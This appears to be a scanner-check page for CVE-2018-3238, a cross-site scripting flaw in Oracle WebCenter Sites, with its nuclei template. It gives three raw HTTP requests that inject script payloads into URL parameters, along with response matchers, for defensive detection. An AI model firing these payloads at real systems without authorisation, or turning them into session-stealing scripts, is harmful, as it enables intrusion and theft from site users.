Oracle Fusion Middleware WebCenter Sites 11.1.1.8.0 - Cross-Site Scripting

mediumseverity

6.9CVSS score

4.6%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

The Oracle WebCenter Sites 11.1.1.8.0 component of Oracle Fusion Middleware is impacted by easily exploitable cross-site scripting vulnerabilities that allow high privileged attackers with network access via HTTP to compromise Oracle WebCenter Sites.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest patches and updates provided by Oracle to mitigate this vulnerability.

How to confirm it

Send: GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq"><script>alert(document.domain)</script> ; GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FNoXceleditor&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E ; GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FProcessLoginRequest&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/s…
Positive when: contains "<script>alert(document.domain)</script>/graphics/common/scr…" OR contains "<script>alert(document.domain)</script>" and "Variables.cs_imagedir"

Run it with nuclei: nuclei -id CVE-2018-3238 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-3238

info:
  name: Oracle Fusion Middleware WebCenter Sites 11.1.1.8.0 - Cross-Site Scripting
  author: leovalcante
  severity: medium
  description: The Oracle WebCenter Sites 11.1.1.8.0 component of Oracle Fusion Middleware is impacted by easily exploitable cross-site scripting vulnerabilities that allow high privileged attackers with network access via HTTP to compromise Oracle WebCenter Sites.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patches and updates provided by Oracle to mitigate this vulnerability.
  reference:
    - https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites
    - https://www.oracle.com/security-alerts/cpuoct2018.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3238
    - http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 6.9
    cve-id: CVE-2018-3238
    epss-score: 0.04579
    epss-percentile: 0.91702
    cpe: cpe:2.3:a:oracle:webcenter_sites:11.1.1.8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: oracle
    product: webcenter_sites
  tags: cve2018,cve,oracle,wcs,xss,vuln

http:
  - raw:
      - |
        GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq"><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FNoXceleditor&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FProcessLoginRequest&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>/graphics/common/screen/dotclear.gif'

      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'Variables.cs_imagedir'
        condition: and

References

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